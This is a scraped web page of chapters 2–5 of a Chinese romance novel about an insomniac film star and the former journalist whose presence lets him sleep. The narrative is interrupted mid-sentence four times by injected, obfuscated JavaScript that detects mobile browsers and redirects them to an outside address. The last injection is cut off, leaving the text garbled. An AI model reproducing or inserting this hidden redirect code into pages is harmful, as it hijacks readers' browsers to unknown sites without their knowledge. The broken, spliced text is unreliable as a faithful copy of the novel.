《心塔》 2. 第 2 章 2 何屿入睡三小时后，天空沉入暗蓝色。李伊林给经纪人发了微信，询问何屿已进入深度睡眠，自己是否可以离开。方华很快回复，会有阿姨上门送晚餐，伊林在车上的行李也会送至二楼客房卧室。 从方华处得知，何屿近期每日睡眠仅有2-3小时，白天拍摄状态极差。这次好不容易顺利入睡，希望李伊林不要离开，以防万一。 伊林叹了口气，走至窗前向外看。虽然曾经在广州生活5年，但这片无人之地让她感觉陌生。天边最后一丝橘色光线正在慢慢消失，形状诡异的热带植物渐渐潜入黑暗。如墨天空下，一盏移动光点正在由远及近靠近宅院。应该是管家阿姨。 如果离开这间房间，何屿会醒来吗？还是说，只要他进入睡眠，就不再需要有人在身旁。李伊林决定做一个实验。她从房间里退出，缓慢离开。 大厅里一片黑暗。伊林扶着墙边打亮手机，听见大门开启的声音。是阿姨用钥匙开了门，楼顶吊灯被打开，黑暗被驱散，空荡的房间里一片暖意。 伊林对着阿姨做了个安静的手势，从楼上走下来，与阿姨一起进入厨房。餐盒中准备的食物需再简单制作，阿姨请伊林在餐桌坐下，一边与她轻声闲聊，一边进行再烹饪。 第一道菜刚处理好，厨房门就被猛然推开。伊林抬头去看，是本该在二楼睡着的何屿。高大男子突然出现眼前，带着破坏般的压迫感。他的表情满是不安与焦虑，像在迫切寻找着什么。随即，他的棕色眼睛聚焦在李伊林身上。 目光对上的瞬间，何屿原本急促的呼吸稍有停顿。面对有些不知所措的伊林，他松了口气，强迫自己定下心神。而后，他意识到自己的失态，将视线离开焦点，看向别处。焦躁的空气随之安静下来。 胶着缓慢的时间过去之后，他缓步走入厨房，走向餐桌，安静坐在伊林对面。 “……抱歉，我以为你睡着之后就没事了。”看到这样的他，伊林心中生出莫名愧疚。她主动将备好的前菜推到何屿面前，“坐下来吃些东西吧，吃完我陪你回去。”她不自觉把声音放得轻柔。如果自己没有离开，请阿姨把晚餐送至卧室，何屿难得进入的深度睡眠就不会被打断。 “……好。”男子应答着，却无任何动作，只是静静坐在原处。他的白衬衫被睡皱了，头发凌乱，略有卷曲，却更让眉眼显得秀丽。此时他的表情恢复安静。若不是知晓他灾难般的睡眠情况，会以为他是某个在海岸边闲闲躺了整天的世家子弟。 阿姨很快把饭菜准备好，伊林发现，与何屿美丽优雅的外表不同，他吃起饭来专注快速，像正在长身体的青少年。 伊林沉默为他盛好热汤，他接过去用汤勺慢慢喝着。汤能让他慢下来，这是李伊林的新发现。 一顿饭吃得快速而沉默。本来随意与伊林聊天的管家阿姨，在疲惫又沉默的何屿面前没有再闲聊的心情。吃完饭后，伊林提出各自去洗个澡，再回二楼卧室尝试入睡。伊林从箱子里找出睡衣换好，冲好澡吹干头发后回到何屿的大床旁边。 冲好澡的何屿没有立刻躺下，他正在把两扇大落地窗的窗帘拉上。伊林视线跟着他走。男人换上一身浅灰色真丝睡衣，头发被囫囵吹干了，蓬松而凌乱得搭在前额。观看的人有种感觉，他能让任何场景变成电影。 关好窗帘，何屿转身走向大床。看见坐在读书椅上专注看他的陌生人，他的脚步有些顿住，但也只是一瞬，他很快恢复步伐。 “今晚也要麻烦你了。我睡着之后，你可以去隔壁客房睡。”他走到床边坐下，准备与伊林简单对谈。 “……你确定我可以走开？”伊林仔细观察他。 “总要试一试。或许在同一楼层是可以的。”何屿没有看向房间中的另一个人。李伊林有一种感觉，这个善于封闭自我的陌生人很尴尬于她的存在。 “我去把客房床垫拖过来。”伊林站起身，没有给他反驳机会。“先让你安稳睡过今晚。” 何屿抬头望向她，他的眼神里有些不可置信的讶异。但李伊林的坚持让他无法提出异议。他站起身来，跟着伊林去往客房。 “……我来帮你。”他说。 移开读书椅后，两个人把床垫铺在大床边。伊林将床铺好，看见何屿盯着高出一截的古董大床若有所思。 “怎么了？”她坐在床垫上问他。 “……我想把这张床移走，跟你一样把床垫放在地上。”何屿稍稍俯视着李伊林。这个角度看过去，他的眼神明亮而温柔。 “不用在意。床看起来很重，你我两个人肯定移不动。”伊林知道他不想让远道而来的自己觉得受到亏待，“你给的报 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15459237|169676||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 酬足够多了，不要在意。”将抱枕调整好放在墙头后，她又补了一句。 听到这句话，何屿没有回答。他走到远离伊林的一侧床边坐下，背对着斜靠在床垫上刷手机的人说，“谢谢体谅。” 声音落下，他脱下拖鞋，掀开羽绒被躺进去。他的脸朝向窗帘，整个身体背对李伊林。 “我来关灯。”伊林见他做好了入睡的准备，想要起身去按开关。 “不用。现在才9点，你睡不着吧？跟下午一样，你读书、刷手机或者pad都行。我会戴眼罩。” 他的声音闷闷的，或许是埋进被子的缘故。伊林看见他转过来找到眼罩戴上，他没有看向坐在地面床垫上的人。 “好。我也会像下午一样保持安静。”伊林依旧站起来将主灯关掉，将书桌台灯拿过来放在床头扭开。卧室里只剩下一盏方形暖光，像秋天。 “你一般几点入睡？”黑暗中，响起何屿轻轻翻身的声音。 “十一二点。休息日睡得更晚，会报复性熬夜。”或许是房间里变得昏暗，两个人都稍稍走出陌生。 “从不失眠？” “那倒没有。我有个毛病，总会在早上醒来一会儿再入睡。如果醒来有心事，就会睡不着。” “……睡不着的话，你会躺着，还是起来？” “看情况。大部分时候我会起来，打开电脑写点东西什么的。” “给杂志写稿？” “……早就不碰杂志啦。”伊林看向床上那张被暖光照亮的、超脱现实一般的美丽面容。“属于我们的时代结束了。” “……嗯。我明白。”他的声音简洁，低沉。带着一种笃定般的理解。 他真能理解吗？文字的力量价值被颠覆，坚持与理想理所当然被丢弃掉。退出，离开，麻木向前。识时务者为俊杰。 “我要戴耳机看剧了，你安心睡吧。”伊林转移话题，不再继续。 “……好。晚安。”男人没有再翻动身体。他侧躺着，面对伊林。那双明亮美丽的棕色瞳仁藏在眼罩之后，像藏于宝匣的名贵宝石。 伊林戴上耳机，移开视线不再看他。她没有看美剧，打开手机调到格伦·古尔德的1955年版《哥德堡变奏曲》。带着年少轻狂的激情去演绎严谨对位的轻盈优美，与何屿十分相配。 3. 第 3 章 3 次日早晨，伊林睡至自然醒。房间里窗帘被拉得严实，她按亮手机去看，已经快十点。 昨晚在书柜中挑了《卡夫卡传》，读到半夜一点入睡。何屿起床时伊林模模糊糊醒来一次，揉着眼睛问他几点了。男子坐在床垫边告诉她才早上5点，递给她耳塞让她继续睡。那双陌生温暖的手帮她盖好被子，干燥柔软的皮肤不经意间触碰到锁骨。 伊林再度睡过去，半梦半醒之间，他的碰触让她安心。 她站起来拉开窗帘，是早间炽亮的南方阳光。伊林推开窗户，植物丛中传来不知名昆虫与鸟雀的低低鸣叫。她伸了个懒腰，转身去浴室洗漱。 路过古董大床时看见被掀开一半的羽绒薄被，李伊林有些愣住。 她是与一名众人皆知的陌生男子共处一晚。在伊林所处的世界里，他的脸出现在各式各样的大小屏幕，他的名字千百万次出现在网络中、闲谈里。他站在名利场顶端，看似毫不费力就能得到一切。 但如今李伊林有一种感觉，拨开刻意塑造的重重包裹，在她面前出现的真实何屿，只是一位有求于人的失眠病人。而对于他的困扰，她甚至什么都无需做，只需要出现在他身边，就能带来毫不费力的美梦一场。 伊林坐在床边，伸手抚摸晒入床铺的金色光斑。干燥，温暖，如同他白皙完美、骨节分明的手。 洗漱完毕，伊林拿出手机看未读消息。方华发微信告知早餐已在餐桌，如需加热请在厨房使用微博炉。请用完早餐与她联系。 伊林下楼热好早餐，独自吃完，给经纪人发了微信。对方很快打来语音电话，请她在宅内等待，方华会从片场赶回来，商定和签署昨天何屿提出的睡眠陪伴合约。 挂掉电话，伊林去往客厅，从茶几下层取出合约，从头阅读。内容包括保密协议，陪伴条款，与按时间所付酬劳。合同条款很多，主要保护何屿作为公众人物的名誉权。正文之外是附录，列出侵犯名誉权以及敲诈勒索罪相关刑法条款。 他有一个非常强大周到的团队，为了保护“何屿”这个名字所代表的名誉与随之而来的利益。这些强硬而冰冷的条款，看上去与昨晚睡在她身旁的安静男子毫不相关。 伊林伸手抚摸白纸页面上，毫无温度的“何屿”二字。然后她拿起签字笔，没有迟疑，在他旁边签下自己的名字。 不到半小时，经纪人方华打开大门。与伊林寒暄后，她看到沙发前茶几上放着已被签署好的《合作条款》，伊林没有任何异议。 “我看条约里写，一周需陪伴两次，我今天还不能走？” “……是的。明天周一，我理解您需要请假。请假损失我们会即时补偿。” “倒不用。公司规定，一周可以有一天申请居家办公。”伊林拿起条款之下的另一份文件，正视方华。“这是利希斯与何屿的合作条款，昨天下午何屿说看过了，没什么异议。那么也请你们签署，我周一回去立刻启动相关工作推进。” 方华的表情不太确定。但她知道，与利希斯的合约必须要签。李伊林这是在客气的要求等价交换。虽然何屿并不想在最重要的复出期接任何商业合作，但李伊林是他们不能拒绝的人。 虽然无法拒绝，但在权益方面不能让步。方华翻看着合约，抬头与伊林商量，“待会我会去片场，您方便的话，我们一起过去，跟何屿再把关键条款过一遍。” “好。”这也是伊林意料之中。何屿对她说的“没有问题”，并没有与经纪人达成共识。艺人对商业合作条款敏感性不高，尤其何屿这种出身极好的“世家子弟”。再一点，艺人本人维持体面，恶人需要经纪人来当。 伊林将合约放进电脑包里，随方华走出大门，坐入车内。这一次，后车厢不再封闭。伊林看清了沿途风景，中间路过海岸，是接近午间的金色阳光，映照着浅蓝色氤氲海岸，有南方潮湿混沌的美。天空中有绵绵云彩，跟着车子向前走。也只是短短一段，很快进入高速公路，视野变得紧窄乖戾，只剩下灰色。 到片场，方华拿出工作证给伊林戴上，引她去何屿休息室。室内有一台监视器，何屿团队有工作人员正在对着录制镜头记录什么。 伊林坐在第二排空座，监视器屏幕里显示正在拍摄的是一段感情戏，何屿饰演的男主人公穿着90年代流行的复古蓝衬衫与牛仔裤，坐在简陋街边小吃店桌上看着女主角。他正在认真听对方讲话，右手习惯性托腮，一双长形棕色眼睛带着笑意，嘴唇弯出浅浅弧度。 微风吹过，些微短发挡住眉眼，他自然用手向后顺了头发，换了个姿势自然与女主角对话。从大监视器中看过去，何屿有很多细小动作搭配着微表情，让角色显得活泼生动。 一条拍完，何屿刚才还在微笑的眼睛马上变得冷漠。化妆师过来调整发型与补妆，何屿像个没有感情的雕像静止在画面中。导演过来讲戏，两位演员都认真听着，何屿反应不大，伊林能看出来，他在思考。 第二条开拍，同样场景，何屿的表情不再温柔，转为一种稍带凝视的欣赏，并有一些鼓励的肯定式小动作。当侍者来上冰茶，女主角视线离开的一瞬间，何屿看向对手演员的目光变得温柔、纯真，释放干净、内敛的爱意。侍者离开后，何屿视线低垂，再抬起眼睫看向女主角时，恢复了对待朋友的欣赏与鼓励。 监视器放大了何屿完美面容上的每一个表情。表演中减除了上一条呈现出的很多微表情与小动作，让角色显得更加沉稳，同时善于伪装。周围环境嘈杂，镜头之中并无音乐衬托，但伊林却被何屿一瞬间的眼神变幻吸引——原来爱与欣赏，对于一个专业的演员来说，都是可以在毫无衬托和酝酿的嘈杂镜头前，瞬间表演出来的。这是假的感情，但确是由真实的何屿流露出来。 他究竟是怎么做到的？ 这条拍完，导演又保了一条，之后进入下一个场景setting。监视器中不再出现何屿，伊林被告知，他将回到休息室。 何屿推门进来时，伊林看到他面无表情。他没有注意到室内有谁，径直走去监视器前坐下，与刚才记笔记的工作人员讨论起来。 “她是何屿的策划经理，负责设计何屿的职业方向，挑选剧本，给予表演反馈。”方华为伊林解释。“何屿很看重她对每一条表演的反馈。等他们聊完我们再去找他。” “嗯，不急。”伊林礼貌回答。她再次看向何屿，与策划经理对谈的他非常认真，基本都是对方在表述，何屿只给予简短回应。 半小时后，何屿起身去里间，方华发了微信得到回复后，叫上李伊林跟过去。 推开门，里间非常简洁。浅灰色沙发，与一张同色系单人床，以及一张咖啡桌。窗户很大，室内安静明亮。何屿坐在沙发上看向窗外。他在让自己放松。 “何屿，这是利希斯一年期的代言合同，有一些关键条款还是要跟你过一下。”方华说着，带伊林坐在何屿身旁。刚刚出现在监视器中的生动的脸，现在冷漠无波。 何屿对伊林点头示意后，开始在方华的引导下一项一项对合同。伊林知道，对于他这种专业演员来说，商业合同只是为了公司团队运转，不得不履行的一项契约，他不喜欢，但必须要做。 8年之前，李伊林同样坐在何屿身边。那时她是记者，与何屿聊他的生活，他的角色，他喜欢在日出前醒来，在街上随意走走。 早间城市人很少 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15459238|169676||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ，如花草一般安静。早起晨练基本是上了年纪的人，他们表情闲适，更关心自己的身体状况。那个出现在所有屏幕里的“男明星”只需要戴上鸭舌帽，就不用担心被人认出来。 那时他对她说，在他不停流动的生活里，拍戏总在不同的城市徘徊，唯有日出是永恒不变的。 现在的何屿与八年前变化不大。或许是用了上乘的保养技术。只是现在的李伊林不再是着意于挖掘他内心的人物记者，她已是一家奢侈品珠宝品牌的市场总监。她需要为公司争取最大的代言权益，与艺人经纪团队做心理博弈，明知艺人会在将来地位上升，却依然要通过各种手法说服他们以目前价位签订今后一年的工作事项。她会给艺人戴高帽子，会夸大市场的不确定性，会故作担忧正在拍摄的作品究竟能否如期上映，并且用非常真诚的态度夸赞自家品牌。 这一套流程李伊林非常熟悉，但不知为何，面对何屿，她需要逼迫自己。他不会喜欢这样的谈判，但她必须要这样做。这是她的责任，是她的工作，是她在巨大陌生的世界中，得以生存的立身之本。 过完关键条款，方华站起身准备离开里间，让何屿休息一下。“下个场景setting大概还需要一小时，你可以睡一下。”方华将合同收好，“伊林，你陪一下。”她没有给李伊林反应机会，径直走出房间关上门。 李伊林本来已经起身，准备跟方华走出房间。被留下之后，她站在原地有些尴尬。 “……气泡水还是柠檬水？”她听见何屿的声音。 “……柠檬水。”伊林转身坐下，接过何屿递过来的瓶装水。 “你去休息吧，我在这里玩会儿手机。”伊林看向陷入沙发中喝下气泡水的男子，她能感觉到他需要放松。“或者你想独处的话，我去外面片场转转。”如果他不想睡觉，伊林会马上离开。 何屿看向伊林，笑了下。“我的确想睡一会儿。”在伊林看向他之前，何屿视线转移，落在单人床的细小阳光。 “听方华说你签了协议，我可以对你提要求了。”疲惫之间，伊林听出他的尾音带着些许调皮。 “嗯。随便要求。你给的很多。”伊林也用适当的玩笑回应。 何屿垂眸浅笑出声。尴尬的气氛被缓和。“你上床吧，我去拉窗帘。”说出口之后，伊林才觉得这话有歧义。她也无奈笑了笑，起身去关窗帘。 “谢谢你。”何屿走去床上躺下，在白日闭合的黑暗中对她说。 “不用。应该的。”伊林回答他，自己回到沙发坐下。黑暗中看手机对眼睛不好，这么想着伊林在沙发上斜躺下，准备闭目养神。 单人床上发出窸窣声，然后安静下来。应该是演员已经找到了舒适的位置。 “……你跟八年前不太一样了。”在沙发上，伊林听见他轻而柔和的声音。 “嗯。转行了，不做记者。” “……你还是喜欢天不亮就出去散步吗？”伊林回问他。 “并不喜欢。那时没对你说实话。我不喜欢失眠的感觉，只是不得不接受。出去散步更多是无奈。” 伊林听着，有些心疼。或许是因为黑暗生出一种柔软的暧昧，让她想走下沙发，走上他所在的床铺，拥抱他。 “现在你可以睡了。”她学着他，放轻声音。“表演很消耗，你安心休息。”她想用声音拥抱他。 “……嗯。”他的声音变得氤氲，像是钻进了被子里。房间里陷入安静，伊林听见自己的心跳。她听着另一个人趋于平稳的呼吸，渐渐放下心来。 生平第一次，她很庆幸。庆幸于她本身的存在，即可带给另外一个美丽的人他所需要的，最为安稳、舒适的睡眠。 4. 第 4 章 4 何屿是被光叫醒的。长久失眠让他对光线非常敏感。“……何屿，该起来了。”他听见一个柔和的声音，有些冷，像山中清泉。他不自觉应了这声音，循着光线睁开眼睛。 “醒了。”李伊林坐在床边，递给他一瓶冰好的气泡水。“醒醒神。” “……谢谢。”何屿坐起身，想了想刚才的梦境，除了日出时迎风竖起的帆，什么都想不起来。他仰头喝一口水，放下玻璃瓶，揉了揉眼睛。 已经有很久，他没有在休息的间隙沉沉入睡。表演带来的情绪透支像气压阀，不断压迫着他因睡眠缺乏更加紧绷的神经。在李伊林到来之前，他觉得自己已快要陷入无悲无喜的匮乏之中——意识悬浮，万事万物无法感知，悲与喜都只是某个离他很远的形容词，与他的身体心灵皆无干系。 在片场，他已多次令人失望。他知道，失眠是一头怪兽，已经快要将他吞噬殆尽。 而现在，在短短两天之内，他睡了将近12小时。他就像终于等来阳光的树，从黑暗中生长起来，绿色叶子伸展着，重新感知万物，迎接鲜活欲望。这一切的发生，得益于光线里的陌生人。 “还好吗？”见何屿像愣神一样看着她，伊林开口询问。 “……嗯。睡得很好。”何屿像是回过神来，对伊林微笑。然后他利索起身，用手抹了把脸。“我出去找化妆师，你想继续在这里，还是去片场转转？” “……去片场。”李伊林想看监视器里的何屿。她想看他沉浸在表演之中，在情绪变幻之间，塑造另外一个有血有肉的人。 “好。剧组中饭应该已经放过了，方华会让阿姨加送一次。”何屿边走边对她说。尽管昨天才相见，他似乎已将她当成可信赖的身边人。 第二场戏过得很快，40分钟拍完三条，阿姨送来双人餐。伊林终于知道何屿吃饭快的习惯是怎么养成的——在同一场景试戏与调整状态的间隙之间，进食更像是给汽车加油，快速完成以保障后续工作。 下午的时间过得很快。坐在监视器前的伊林在setting期间读了一半剧本，知道何屿饰演的是一名90年代南下创业者。这位男主角出身贫寒，与原生家庭关系紧张，头脑聪明但耐性不足。大学只上了两年就退学，以快速成功为目的创业两次都已失败。 这是他的第三次，也是孤注一掷的最后一次创业，他把赌注押在互联网上。 不算很新的故事，有关90年代创业潮的电视电影已有不少。在与策划经理张凯西的对话中伊林得知，她判断这部剧一定要接的原因有二，一，导演是名导，非常擅长拍摄厚重复杂的年代戏剧；二，主人公与何屿之前演绎的类型大不相同，这是一个最终会获得成功的小人物，他大度的同时狡猾，聪明的同时浮躁，有责任心也下得了狠手，懂得忍耐的同时，从不服输。他知道自己有一张堪称万能的、出众的脸，他会利用这幅容貌在权力面前谄媚，在爱情面前蛊惑，在利益面前逢迎，在面对自我时冷漠。 因为失眠的关系，在之前的很长一段时间，何屿不接任何项目。而这一次，从故事到剧本，从角色到对手演员，到导演到制作班底，全都堪称业界顶级。“任何一个演员都不想错过这部剧。”年轻的策划经理张凯西看着监视器中的何屿说，“有些演员，一辈子都拿不到这样的机会。” “他演得很好。”伊林跟随她的视线看向监视器。凯西在笔记本上飞速记录下何屿的表演状况，继续将目光凝聚在自家演员身上。 “在你来之前，他可不是这样。连着一个礼拜，他都差到想让全组放弃何屿这个名字。” 伊林非常惊讶，“怎么会？他演得这么好……” “之前的他更像块木头，导演手把手教着他都无知无觉。”镜头对向女主角，何屿不再是画面中心。凯西放下笔，看向李伊林。 “过度缺乏睡眠让他成了行尸走肉。不要说表演，日常生活里他都没有任何感觉。”回想之前，年轻女孩叹了口气。“我本来也打算放弃了，想与制片方商量一下，换掉主演。” 伊林不能理解，“……你要主动换掉他？” “何屿已经拿过影帝。与其让他自砸招牌，不如留下传奇在更多人的记忆里。”凯西依旧看向监视器。伊林忽然明白了何屿选择她的理由，虽然她年轻、书卷气，但其实她自有一套筛选标准。老派，体面，更相信时间的价值与力量。 “现在的他很好。”伊林看向重新出现在屏幕中的男子，他的表情细腻，生动，令人沉醉。“他不应该被换掉。” “嗯。”凯西只回了一句话，而后开始写笔记。她已进入工作状态。 伊林不再打扰。她转而欣赏何屿的工作，同时在脑中勾勒一些字句，一些画面。利希斯应该如何出现在这个堪称完美的演员身上。或许与他更相称的并非男士腕表，而是高级珠宝。如猎豹般灵动的手镯，带有神秘之美的灵蛇胸针，纯净深邃的祖母绿戒指……它们出现在晚宴场合的何屿身上，在他的黑色正装中若隐若现的闪耀着。 这些缓慢的、高贵的、由最成熟的工匠不惜成本与时间制造出的艺术品，更像来自于《昨日的世界》。那些凝固于时间中的厚重与美，与何屿十分相配。 拍摄在凌晨结束，次日7点开拍。意味着何屿的睡眠时间只有5个小时。晚饭过后，方华 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15459239|169676||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 问过她是否想早些回去，伊林拒绝了。她回归了做记者时的好奇心，想跟完属于演员何屿的一天。 收工到家，已是凌晨一点。伊林冲好澡出来，看见头发半干的何屿侧躺在床上看手机。见她过来在床垫上躺下，何屿收了手机，平静看她。 “……怎么了？”伊林问。 “我知道合约里没有，但我有一个新要求。” “嗯，你说？”伊林展开被子，稍微盖住肚子。 “……你上来，或者我下去。”何屿依旧静静侧躺着，他的声音有些哑下去。“我跟你躺一块儿。” 伊林听着，有些惊讶。但是她不让自己表现出来。“……为什么？” “不为什么。只是想这样。”躺在床上的男子依旧静止着，没有任何动作。他的目光很柔和。 或许，他只是难掩好奇。他毫无原因、难以克服的失眠症，竟然只是需要另一个毫不相干的陌生人待在身旁。只要她留在身边，就能将他拉出绝望般的日夜交替。而这一切的一切，皆无缘由。 “……好。你下来吧。”伊林知道，这并非男女感情，更无关身体与皮肤接触。他只是想要更清晰的感知李伊林的存在。 何屿起身，关掉大灯，打开手机灯抱着被子走到床垫前，在伊林特意让出的半边里躺下来。然后他熄灭手机，在黑暗中收紧羽绒被。 “……离得近能让你更快入睡？”伊林没忍住，对着黑暗问。 “不知道。好像也没什么特别的感觉。” “嗯。或许一定距离内都可以。你快睡吧。”伊林在黑暗中翻了个身，准备入睡。 “……你明天回上海？”何屿躺在她的背面，轻声问。 “嗯。就不去片场了，赶早班机回去。周一比较忙，一堆工作等着处理。”想起马上要面对的一摊事情，伊林觉得失眠的人要变成自己。 “下周五晚上，你能晚班机飞过来么？”他的声音，就像发生在耳边。 “……可以。”在这样静谧、亲密的黑暗里，李伊林无法说不。 “好。睡吧，晚安。”他的声音听起来带着某种确信，令人心安。 尽管并不习惯与陌生人同床共枕，但何屿似乎是一个例外。身边人非常安静，像是很快沉入睡眠。伊林知道接下来的五天内，何屿又会陷入失眠的糟糕境地，但她让自己停止想下去。 她在内心告诫自己，这是他的事，与她无关。在黑暗房间之外所存在的、更加广袤的现实之中，他们是一生都不会产生交集的，不同世界的陌生人。 他们不是同类，任何感情都不应发生。 李伊林很快进入梦乡。 5. 第 5 章 5 5 表铃在6点响起，伊林睁眼按掉手机，旁边空无一人。 她起来快速洗漱完毕，司机准时来接她去机场。方华给她定了商务舱与VIP休息室早餐，在起飞前发微信祝她回上海一路顺利。 何屿没有加她的微信，也就自然没有任何消息发过来。空姐来做起飞前的安全检查。伊林开启飞行模式，拿出眼罩戴上，在起飞轰鸣中放空意识，闭上眼睛。 回到上海后，李伊林向CMO汇报了何屿一整年的代言项目，一季度项目预算5000万，要将利希斯官宣代言人做成影响力大事件。接下来的一周品牌团队都忙于出整体方案，与各条线VP汇报，再根据反馈与各部门对接需求。 高端产品线对明星代言不是很敏感，但愿意将高级珠宝借出供电影节级别公开活动，提升大众曝光度。 中端产品线对何屿兴趣度最高，要求官宣时主力传播即将上市的森林系列。 因艺人方指定对接人，李伊林负责所有周期性对接。一周之内，除向方华要来艺人未来一年工作规划，伊林与何屿并无联系。周五上午内部方案全部对接完成，下午对CMO完成汇报后，伊林搭乘晚班机去往广州。 飞机晚点，落地已是凌晨。方华亲自来接机，与伊林短暂寒暄后就开上高架开始飙速度。一路上方华基本不讲话，只用了40分钟就开到人迹罕至的隐秘小院。打开大门，空荡大厅更显死寂。方华拎着伊林不大的行李箱径直上了二楼，推开主卧，带她进去。 “抱歉，这么着急让你上来。何屿的状态很差，我们都想让他快点见到你。” 随着行李箱落地的声音，伊林看向侧躺在床上看向她的男人。他面色冷漠，漂亮的棕色双眼中荒芜一片，眼下乌青，像个没有意识的空洞蜡像。 伊林从未见过这样的何屿。第一次见面时，他看起来平和疏离。两天的快速补眠后，他回归一位出色演员的正常状态。那时的他沉着，优雅，拥有从容利落的秩序感。而现在这个静止在时间中的何屿，了无生气，一片死寂，是几乎放弃的失控。 李伊林走过去坐在床边，轻轻拂过他的头发。男人看向她，没有说话。近距离看过去，他的眼睛里布满血丝。 莫名钝痛生于心间。伊林脱去外套，踢掉鞋子躺入床铺，拉上被子盖好两人。 在这个房间之外，在那个喧嚣繁盛的外部世界，何屿是千百万人知道的名字。而她只是李伊林。这样的行为是不妥当的，但在这个房间里，她对他所做的一切，都是被允许的。 她听见方华关门出去的声音。木门关上，光被阻挡，一切回归寂然。 伊林伸手为何屿闭上眼睛。“睡吧。我就在这里。”她对他说。她的声音温和到令自己陌生。 何屿闭上眼睛，缩进羽绒被。他不自觉的靠近她。 这是一种陌生的、病症一般的依赖。它与喜爱、欣赏、心动，均无关系。伊林伸手将男子搂入肩头，希望自己像药剂一般渗入对方皮肤。 何屿的修长手臂搭在她的小腹上，像温暖的水。伊林允许他的动作，如此近的距离，能听见他心脏的跳动。他的呼吸打在伊林脖颈，带着淡淡的木质清香。是浅淡的入眠香氛。这呼吸渐渐变慢，更平稳，更绵长。 他睡着了。 何屿睡着后，伊林在他身边躺了近40分钟，直到何屿翻身离开她。她尽量轻的掀开被子坐起来，去主卧浴室快速洗了个澡。她很怕何屿中途醒来。 换好睡衣出来，伊林没有用吹风机，她坐在床边读书椅上打开壁灯调至最暗，安静将头发擦至半干。然后她静静凝视床上的人，那张陌生的美丽面容在昏沉光线中显得迷离，超脱，又脆弱。 李伊林想起20岁时第一次看到这张脸。那时何屿22岁，已经拍了两部文艺电影，虽然票房都算不上很好，但那张脸在李伊林所在的大学集体里知名度很高。伊林在复旦读新闻系，有一个玩乐队的别校男友，身边朋友都是有点阅读量的文化爱好者，何屿在这个群体中口碑不错。 何屿那时还在中戏读书，不是天才型演员，在片中被一干老戏骨衬托，表现中规中矩，但也强过同龄偶像明星。他的出色容貌与天生式的疏离感，让他成了同龄人中标榜“品位”的名人式标签。李伊林上网搜过他，除了新闻通稿没有任何内容。何屿没有社交媒体账号，不接受专访，擅长于消失在作品之外。这让他在文化青年群体中的好感更甚。 何屿大红是在他的23岁。那一年他上了一部都市偶像剧，男女主演都是新人，意外成了爆剧，身边同学都在看，伊林经常看见何屿出现在同校女生的手机屏保上。 这部剧李伊林追完了，何屿饰演一位事业上升期的青年艺术家，因为一场意外失去右手，左手又经常间歇性疼痛，让他无法继续创作。在消沉的自我堕落中，他在酒吧遇见女主角，一位快退役的排球运动员。两个失意的人从对方的眼睛里看到自己，相互扶持着站起来，在了无生趣的现实世界中继续走下去。 在故事中后段，男主角开设画廊，成为成功的艺术经纪人，女主角经过漫长争取，进入省队站上主教练位。结局不落俗套，在世俗定义的成功之中，二人再度审视内心，曾经互相理解、扶持的爱情逐渐化为友情。从失败的低谷爬出，两个破茧而出、重新活过的人互相道别，前往一段新的人生。 虽然是偶像剧，但其实男女主角演技过硬，很多台词直击人心。在追剧过程里，伊林数度落泪。在表白戏里，何屿看向女主角的眼神甚至让伊林相信，他是真的对角色之外的女演员有了感情。 在宣传期，也的确传出两人正在约会的各路绯闻。网络上两方主角粉丝你来我往，从一开始的相互示好，走到之后的互相诋毁，也只用了不到三个月的时间。 女主演粉丝群在骂战中甩出了何屿的家庭背景，他父亲是国内最大的芯片公司董事长，何氏家族掌控着芯片技术涉及到的诸多产业命脉。 相比平民出身的女主角演员，何屿是名副其实的特权阶级。关于他是如何通过权力获得最好的文艺片资源，又是如何通过家族拿到潜力爆剧的男一号出演机会，在网络上被几度挂上热搜。本来为人称赞的不开设社交媒体账号的“低调、不作秀”，亦被扭曲成何屿走的是与群众无关的“上层路线”，不开社媒是他根本无需讨好大众，是一种专属于特权阶级的傲慢。 24岁那年，在舆论高压下，何屿成立工作室，开设工作室社媒账号，微博，微信，短视频app，定期向公众展示公开行程与作品动态。李伊林关注了他的全部账号，实时追更他的所有作品。在何屿通过偶像剧大火之后，伊林身边很多人脱粉——大红的他不再是文艺群体“小众品位”的象征。但在这部剧之后，何屿再也没有接过同类题材。他退回了电影世界，开始有意识、有节奏的蜕变成一位方法派演员。 伊林有一种感觉，何屿对声名并不感冒，甚至是抗拒。这对一个演员来讲，不合常理。但在何屿身上，似乎有两个完全不同的性格在对峙：演员何屿，有野心，有目标，将面目与内心完全暴露。何屿自身，封闭，沉 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 